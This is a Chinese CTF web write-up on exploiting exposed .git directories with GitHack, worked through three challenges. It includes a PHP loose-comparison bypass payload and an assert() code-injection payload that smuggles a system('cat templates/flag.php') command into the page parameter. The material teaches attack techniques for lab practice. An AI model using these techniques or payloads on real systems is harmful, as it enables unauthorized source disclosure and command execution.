CTF-WEB:Git 源码泄露
Git 源码泄露
开发人员会使用 git 进行版本控制,对站点自动部署。但如果配置不当,可能会将 .git 文件夹直接部署到线上环境,这就引起了 git 泄露漏洞,我们可以利用这个漏洞直接获得网页源码。
确定是否存在泄漏
想要确定是否存在这个漏洞,可以通过以下方式。首先是看看有没有提示醒目地指出 Git,如果有就考虑存在。如果没有也可以使用 dirsearch 工具扫描后台,如果存在则会扫描出 .git 目录如图所示。
当然也可以直接通过网页访问 .git 目录,如果能访问就说明存在。
也可以试着访问 .git/head 文件,如果能下载也能推断存在 Git 源码泄露。
获取泄露的源码
要获取泄露的源码,可以使用 GitHack 工具,下载地址。GitHack 是一个 .git 泄露利用脚本,通过泄露的 .git 文件夹下的文件重建还原工程源代码。在 cmd 命令下键入下面的命令,脚本就会把存在 Git 泄露的源码全部下载下来。
GitHack.py <url>
例题:攻防世界-lottery
打开网页,发现网页让我们买彩票赚钱,随便买下试试。
看意思应该是要赚够钱,然后在这个页面购买才能有 flag。
首先先用御剑扫一下后台,发现有个 robot 协议文件。
打开它看到 Git,因此这个网页应该存在 Git 源码泄露。
使用 GitHack 扫描 url,成功把泄露的文件都下载下来。
GitHack.py http://220.249.52.133:58698/.git/
打开其中的 “api.php” 文件审计代码,注意到这里有个 buy() 函数,这个是我们在网页买彩票会调用的函数。其中我们看到 numbers 这个变量是我们能操作的,函数会以数组的形式提取每位数字。同时这个变量在和随机生成的 win_numbers 变量比较时使用的是 “==”,也就是说可以用弱类型来绕过。
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i = 0; $i < 7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
由于随机变量是数字,因此我们可以使用 true 来满足比较,但是我们显然不能在输入框输入 7 个 “true”。因此我们考虑修改数据包,通过抓包发现数据的传输是通过传一个映射来上传的。
因此抓包之后修改 numbers 变量为一个数组,其中的 7 个变量都是 true。放包之后就能够快速赚钱了,赚够钱后购买得到 flag。
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
例题:攻防世界-mfw
打开网页随便逛逛,在 about 页面发现他使用了 Git,也就是说可能存在 Git 源码泄露。
使用 GitHack 扫描 url,成功把泄露的文件都下载下来。
GitHack.py http://220.249.52.133:58698/.git/
注意到 templates 目录下有个 flag.php 文件,但是这个文件直接访问是看不到东西的,我们还是要在网页上想办法看到这个文件的内容。
打开 index.php 文件得到题目的源码,源码会接收一个 page 参数。
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
}
else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
输出 flag 要满足以下 2 句代码,注意到第二句代码是个 assert() 断言,它可以将参数作为代码来执行。
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")
因此我们考虑让断言执行 cat 命令,直接回显目录下的 flag.php 文件,这样就能看到其中的内容了。构造出的 payload 如下,上传得到 flag。
?page=abc') or system("cat templates/flag.php");//
这个参数和上述的 file 变量替换,等同于执行了以下代码。首先因为网页不存在 abc 页面,所以使用 strpos() 函数会返回 false,因此代码会执行 or 后面的 system() 函数。最后认为添加个注释,让后面的代码不要执行。
assert("strpos('templates/?page=abc') or system("cat templates/flag.php");//.php', '..') === false")
例题:JMUCTF-leak_snake
根据提示可能是 git 泄露,先访问 .git/head 目录确认下。
既然知道了有 git 泄露,使用 GItHack 脚本得到之前的全部版本。
现在已经有所有的需要的文件了,显然 flag 在 flag.html 中。
注意到有 31 个版本,接下来查看一下时光机 git log。
因此我们怀疑 flag 被分散在了这 31 个文件洪,使用 git diff 两两比较不同,31 个相邻的都比较。
终于搞完了,把所有的不同字符串成一句话得到 flag。